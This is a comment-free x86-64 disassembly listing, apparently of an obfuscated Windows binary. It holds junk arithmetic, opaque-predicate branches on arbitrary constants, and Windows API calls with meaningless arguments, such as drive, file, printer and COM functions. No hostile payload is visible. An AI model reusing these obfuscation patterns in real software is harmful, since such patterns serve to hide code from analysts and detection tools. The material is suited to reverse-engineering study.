mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16c4], ax
movsx eax, byte [rsp + 0x234]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x9e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1380]
sub eax, ecx
mov rcx, qword [rsp + 0x9e20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x236]
and eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov eax, dword [rsp + 0x5428]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x9e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x54c8], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9de0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9cb0]
mov qword [rsp + 0x9e30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e30]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9cb0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140288009], al
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x231], al
cmp dword [rsp + 0x5518], 0x10598
jne 0x14005de09
movsx eax, word [rsp + 0x1380]
movsx ecx, word [rsp + 0x16d4]
sub eax, ecx
mov rcx, qword [rsp + 0x9e20]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16dc]
and eax, ecx
mov rcx, qword [rsp + 0x9d08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x230]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [rsp + 0x234]
add eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9dd8]
mov rcx, qword [rsp + 0x9d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d38], rax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x54fc], eax
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x16c4]
sub eax, ecx
mov word [rsp + 0x16cc], ax
mov eax, dword [rsp + 0x5474]
sub eax, 0x69
mov dword [rsp + 0x5474], eax
movsx eax, word [rsp + 0x1380]
movsx ecx, word [rsp + 0x16d8]
sub eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
or eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
movzx eax, word [rsp + 0x16cc]
movzx ecx, word [rsp + 0x16c8]
sar eax, cl
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
shl eax, cl
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0x9cf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9dc0], rax
mov rax, qword [rsp + 0x9c68]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x54a8], eax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0x9c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
and eax, ecx
mov word [rsp + 0x16d8], ax
movzx eax, word [rsp + 0x16cc]
movzx ecx, word [rsp + 0x16c8]
add eax, ecx
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
cmp dword [rsp + 0x5474], 0x71c9
jae 0x14005e150
movsx eax, byte [0x140288008]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9ce8]
mov qword [rsp + 0x9e38], rax
movabs rax, 0x9a549343f000a47a
cmp qword [rsp + 0x9e38], rax
je 0x14005e440
movabs rax, 0xd34e0a0cf075346d
cmp qword [rsp + 0x9e38], rax
je 0x14005e658
jmp 0x14005e676
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x5544], eax
cmp dword [rsp + 0x5544], 0x3c793e22
je 0x14005e63c
cmp dword [rsp + 0x5544], 0x3fd31331
je 0x14005e474
jmp 0x14005e656
lea rdx, [rsp + 0x2b610]
mov ecx, 0xde
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9d38]
mov rcx, qword [rsp + 0x9cf8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9dd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9cc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
shl eax, cl
mov dword [rsp + 0x5548], eax
movzx ecx, word [rsp + 0x16c4]
movzx edx, word [rsp + 0x16c8]
mov dword [rsp + 0x554c], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x554c]
idiv ecx
mov ecx, dword [rsp + 0x5548]
cmp ecx, eax
jle 0x14005e63a
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9de0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9600], rax
mov rax, qword [rsp + 0x9d80]
mov rax, qword [rax]
mov qword [rsp + 0x9e40], rax
movabs rax, 0x6537ae4f055d0b23
cmp qword [rsp + 0x9e40], rax
je 0x14005e54d
jmp 0x14005e61d
lea rax, [rsp + 0x9c48]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x9c88]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x9e48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x9c88]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x9e50]
mov r8, qword [rsp + 0x9c88]
mov rdx, qword [rsp + 0x9e50]
mov ecx, 0x4d
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x54fc], eax
mov eax, dword [rsp + 0x54c8]
mov rcx, qword [rsp + 0x9c90]
mov qword [rsp + 0x9e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9e58]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
or eax, ecx
mov byte [0x140289810], al
mov r9, qword [rsp + 0x9600]
movzx r8d, byte [rsp + 0x235]
mov edx, dword [rsp + 0x54fc]
movzx ecx, word [rsp + 0x16dc]
call fcn.14023ada0
nop
jmp 0x14005e63a
lea rdx, [rsp + 0x5550]
lea rcx, [rsp + 0x2bb60]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x54f4], eax
jmp 0x14005e656
movzx eax, word [rsp + 0x16c8]
movzx ecx, word [rsp + 0x16dc]
and eax, ecx
mov word [rsp + 0x16c4], ax
jmp 0x14005e676
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [0x140289810]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov dword [rsp + 0x5554], eax
cmp dword [rsp + 0x5554], 0x56fa
je 0x14005e697
jmp 0x14005e6b8
mov rax, qword [rsp + 0x9d30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
add eax, ecx
mov byte [rsp + 0x235], al
jmp 0x14005e781
movzx eax, word [rsp + 0x16d0]
mov word [rsp + 0x16e8], ax
mov rax, qword [rsp + 0x9c50]
mov qword [rsp + 0x9e60], rax
cmp qword [rsp + 0x9e60], 0
je 0x14005e6fc
movabs rax, 0x6ac9d1d2059e1a83
cmp qword [rsp + 0x9e60], rax
je 0x14005e75f
jmp 0x14005e781
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov eax, dword [rsp + 0x54a8]
mov dword [rsp + 0x5558], eax
mov rax, qword [rsp + 0x9cb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9600]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
lea rax, [rsp + 0x9d38]
mov qword [rsp + 0x9e68], rax
jmp 0x14005e781
mov r8d, 0xc5
lea rdx, [rsp + 0x2b7c0]
lea rcx, str.weariestyelped_balderhorsebox
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9d00]
mov rax, qword [rax]
mov qword [rsp + 0x9e70], rax
cmp qword [rsp + 0x9e70], 0
je 0x14005e7ca
movabs rax, 0x640d6cd25326402b
cmp qword [rsp + 0x9e70], rax
je 0x14005e7b8
jmp 0x14005e88a
mov ecx, dword [rsp + 0x54fc]
call fcn.14023a980
nop
jmp 0x14005e88a
mov rax, qword [rsp + 0x9d38]
mov qword [rsp + 0x9e78], rax
movabs rax, 0x12c9d4c3f83b0d2e
cmp qword [rsp + 0x9e78], rax
je 0x14005e7f3
jmp 0x14005e88a
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9c68]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov dword [rsp + 0x555c], eax
cmp dword [rsp + 0x555c], 0x484d2362
je 0x14005e830
jmp 0x14005e86d
mov rcx, qword [rsp + 0x9d20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5560], eax
movzx eax, word [rsp + 0x16dc]
mov rcx, qword [rsp + 0x9d08]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov word [rcx], ax
call fcn.14023a860
nop
jmp 0x14005e88a
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16d8]
sub eax, ecx
mov word [rsp + 0x16d0], ax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9dc8]
movzx eax, byte [rax]
mov byte [rsp + 0x237], al
movzx eax, word [rsp + 0x16cc]
mov dword [rsp + 0x5564], eax
cmp dword [rsp + 0x5564], 0xcea
je 0x14005e8d9
jmp 0x14005e9c8
movsx eax, word [rsp + 0x16d8]
movsx ecx, word [rsp + 0x16d4]
shl eax, cl
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
mov dword [rsp + 0x5568], ecx
movsx edx, word [rsp + 0x16e4]
movzx ecx, dl
mov edx, dword [rsp + 0x5568]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005e919
jmp 0x14005e96c
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x53f0]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x54a8]
mov edx, dword [rsp + 0x54fc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x14005e96c
movsx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1380], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x556c], eax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x5404]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
lea rdx, [rsp + 0x9e20]
lea rcx, [rsp + 0x2b0f8]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x5570], eax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c68]
mov dword [rcx], eax
jmp 0x1402387ee
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0x16dc]
mov dword [rsp + 0x5574], eax
cmp dword [rsp + 0x5574], 0x506
je 0x14005ea02
jmp 0x14005ea31
movzx r9d, byte [rsp + 0x234]
mov rax, qword [rsp + 0x9d30]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x237]
movzx ecx, byte [0x140288008]
call fcn.140239e10
nop
jmp 0x14005eae8
lea rax, [rsp + 0x16e8]
mov qword [rsp + 0x9e80], rax
movzx eax, byte [rsp + 0x236]
mov byte [rsp + 0x5578], al
cmp byte [rsp + 0x5578], 0
je 0x14005ea5c
jmp 0x14005eacb
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov dword [rsp + 0x557c], eax
mov rax, qword [rsp + 0x9c70]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov qword [rcx], rax
jmp 0x14005eae8
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x54fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
movzx eax, word [rsp + 0x16c8]
mov dword [rsp + 0x5580], eax
cmp dword [rsp + 0x5580], 0x798
je 0x14005eb1a
cmp dword [rsp + 0x5580], 0xa00
je 0x14005eca5
jmp 0x14023876b
mov rax, qword [rsp + 0x9e20]
movsx eax, word [rax]
mov dword [rsp + 0x5584], eax
cmp dword [rsp + 0x5584], 0x4139
je 0x14005eb3b
jmp 0x14005eb5f
mov rax, qword [rsp + 0x9dd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d38]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9cb0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x53f8]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jle 0x14005ec3c
mov rax, qword [rsp + 0x9dd8]
mov rax, qword [rax]
mov qword [rsp + 0x9e88], rax
movabs rax, 0xaff418e815219bd
cmp qword [rsp + 0x9e88], rax
je 0x14005ebd9
jmp 0x14005ebf2
mov eax, dword [rsp + 0x54a8]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
lea r8, [rsp + 0x5588]
lea rdx, [rsp + 0x2b118]
lea rcx, [rsp + 0x9c58]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x5440], eax
movsx eax, word [rsp + 0x16e8]
movsx ecx, word [rsp + 0x16e4]
sub eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov word [rcx], ax
call fcn.14023a860
nop
jmp 0x14005ec8a
mov rax, qword [rsp + 0x9cb8]
mov rcx, qword [rsp + 0x9c50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9c70]
mov rdx, qword [rsp + 0x9d78]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
ja 0x14005ec8a
movzx eax, word [rsp + 0x16dc]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x16c8], ax
lea rcx, [rsp + 0x134]
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rsp + 0x9e90], rax
jmp 0x14023876b
mov rax, qword [rsp + 0x9d78]
mov rcx, qword [rsp + 0x9de0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9600], rax
movsx eax, word [rsp + 0x1380]
movsx ecx, word [rsp + 0x16d4]
sar eax, cl
mov word [0x14028800c], ax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov dword [rsp + 0x558c], eax
mov rax, qword [rsp + 0x9de0]
mov qword [rsp + 0x9e98], rax
movabs rax, 0xba8ea3d19c4d0ee8
cmp qword [rsp + 0x9e98], rax
je 0x14005ed16
jmp 0x14005ee01
movsx eax, word [rsp + 0x16d4]
movsx ecx, word [rsp + 0x16e0]
or eax, ecx
mov rcx, qword [rsp + 0x9cc8]
movsx ecx, word [rcx]
mov dword [rsp + 0x5590], ecx
mov rdx, qword [rsp + 0x9e20]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x5590]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14005ed7c
mov rax, qword [rsp + 0x9d08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9cc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16c8], ax
jmp 0x14005edfc
mov rax, qword [rsp + 0x9dd8]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x9c60]
mov rcx, qword [rsp + 0x9578]
mov rdx, qword [rsp + 0x9d38]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005edfc
mov rax, qword [rsp + 0x9c58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x235]
and eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c58]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x235]
mov rax, qword [rsp + 0x9c58]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x9c58]
movzx ecx, byte [rax]
call fcn.140239e10
nop
jmp 0x140238751
movzx eax, word [rsp + 0x16cc]
mov dword [rsp + 0x5594], eax
cmp dword [rsp + 0x5594], 0x1de
je 0x14005ef08
cmp dword [rsp + 0x5594], 0x90e
je 0x14005ee33
jmp 0x14005ef34
movzx eax, byte [0x140289810]
mov rcx, qword [rsp + 0x9db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x9c90]
mov eax, dword [rax]
mov dword [rsp + 0x5598], eax
cmp dword [rsp + 0x5598], 0x8f7fc5b0
je 0x14005ee6e
jmp 0x14005eee9
lea rax, [rsp + 0x9ea0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2b118]
lea r8, [rsp + 0x9c78]
mov edx, 0x96
lea rcx, [rsp + 0x2b168]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16e0], ax
jmp 0x14005ef06
lea rdx, [rsp + 0x54f4]
lea rcx, [rsp + 0x553c]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x5498], eax
jmp 0x14005ef34
mov rax, qword [rsp + 0x9d00]
mov r9, qword [rax]
mov rax, qword [rsp + 0x9c28]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x5428]
movzx ecx, word [rsp + 0x16dc]
call fcn.14023ada0
nop
movsx eax, word [rsp + 0x1380]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16e8], ax
mov rax, qword [rsp + 0x9c70]
mov rax, qword [rax]
mov qword [rsp + 0x9ea8], rax
mov rax, qword [rsp + 0x9d50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9600]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d78]
mov rdx, qword [rsp + 0x9c70]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x14023862b
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0x9eb0], rax
movsx eax, byte [rsp + 0x235]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x134], al
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x230]
sub eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9eb0]
movzx eax, word [rax]
mov dword [rsp + 0x559c], eax
cmp dword [rsp + 0x559c], 0xa00
je 0x14005f043
cmp dword [rsp + 0x559c], 0xf7e
je 0x14005f015
jmp 0x14005f07e
mov r9, qword [rsp + 0x9c50]
mov rax, qword [rsp + 0x9c28]
movzx r8d, byte [rax]
mov edx, dword [rsp + 0x5558]
mov rax, qword [rsp + 0x9eb0]
movzx ecx, word [rax]
call fcn.14023ada0
nop
jmp 0x14005f07e
mov rax, qword [rsp + 0x9dd8]
mov rax, qword [rax]
mov qword [rsp + 0x9eb8], rax
lea rax, [rsp + 0x236]
mov qword [0x140289818], rax
mov eax, dword [rsp + 0x54fc]
mov ecx, dword [rsp + 0x5404]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54a8], eax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x12a]
and eax, ecx
movsx ecx, byte [rsp + 0x235]
movsx edx, byte [rsp + 0x231]
sub ecx, edx
cmp eax, ecx
je 0x14005f122
mov rax, qword [rsp + 0x9cb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5400]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x557c], eax
lea r9, [rsp + 0x5550]
mov r8d, 0xa3
lea rdx, [rsp + 0x9d08]
mov rcx, qword [rsp + 0x9c30]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x5528], eax
mov rax, qword [rsp + 0x9c50]
mov rcx, qword [rsp + 0x9ea8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c90]
mov ecx, dword [rax]
call fcn.14023a980
nop
jmp 0x14005f1f8
movsx eax, byte [rsp + 0x235]
movsx ecx, byte [0x140288009]
sub eax, ecx
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x9d30]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x14005f1f8
movzx eax, byte [rsp + 0x231]
mov byte [rsp + 0x55a0], al
cmp byte [rsp + 0x55a0], 5
je 0x14005f16e
jmp 0x14005f190
mov rax, qword [rsp + 0x9cc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16d8], ax
jmp 0x14005f1f8
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x237]
add eax, ecx
mov rcx, qword [rsp + 0x9dc8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov word [rsp + 0x16dc], ax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [0x140289818]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x233], al
movsx eax, word [rsp + 0x16e4]
movsx ecx, word [rsp + 0x16d4]
or eax, ecx
mov rcx, qword [rsp + 0x9cc8]
mov word [rcx], ax
call fcn.14023a860
nop
movzx eax, word [rsp + 0x16dc]
mov word [rsp + 0x16ec], ax
mov rax, qword [rsp + 0x9cf8]
mov qword [rsp + 0x9ec0], rax
movabs rax, 0x101002097209c004
cmp qword [rsp + 0x9ec0], rax
je 0x14005f249
movabs rax, 0x34a1b683a47eb514
cmp qword [rsp + 0x9ec0], rax
je 0x140238485
jmp 0x140238610
movzx eax, word [rsp + 0x16c8]
mov rcx, qword [rsp + 0x9eb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16cc], ax
mov eax, dword [rsp + 0x5400]
mov dword [rsp + 0x55a4], eax
cmp dword [rsp + 0x55a4], 0
je 0x14005f447
cmp dword [rsp + 0x55a4], 0x463d8b30
je 0x14005f294
jmp 0x14023843a
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9c58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x9dc0]
mov rcx, qword [rsp + 0x9cf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov rdx, qword [rsp + 0x9c60]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jg 0x14005f3a3
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov dword [rsp + 0x55a8], eax
cmp dword [rsp + 0x55a8], 0x465dc7eb
je 0x14005f383
cmp dword [rsp + 0x55a8], 0x51d06310
je 0x14005f334
jmp 0x14005f39e
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x55ac], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x9c78]
movzx r9d, byte [rax]
mov r8d, dword [rsp + 0x5400]
movzx edx, byte [rsp + 0x230]
mov rax, qword [rsp + 0x9d58]
mov ecx, dword [rax]
call fcn.14023bc60
nop
jmp 0x14005f39e
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x9c28]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x140288008], al
jmp 0x14005f442
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x230]
shl eax, cl
movzx ecx, byte [rsp + 0x236]
mov dword [rsp + 0x55b0], ecx
mov rdx, qword [rsp + 0x9c38]
movzx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x55b0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005f442
lea rax, [rsp + 0x9d58]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x9600]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x9dc8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x9dc8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9d00]
lea r8, [rsp + 0x54f8]
lea rdx, [rsp + 0x9d08]
lea rcx, [rsp + 0x9d78]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0x5588], eax
jmp 0x14023843a
mov rax, qword [rsp + 0x9c68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x558c], eax
mov eax, dword [rsp + 0x54fc]
mov dword [rsp + 0x55b4], eax
movzx eax, word [rsp + 0x16c4]
mov dword [rsp + 0x55b8], eax
cmp dword [rsp + 0x55b8], 0x8ad
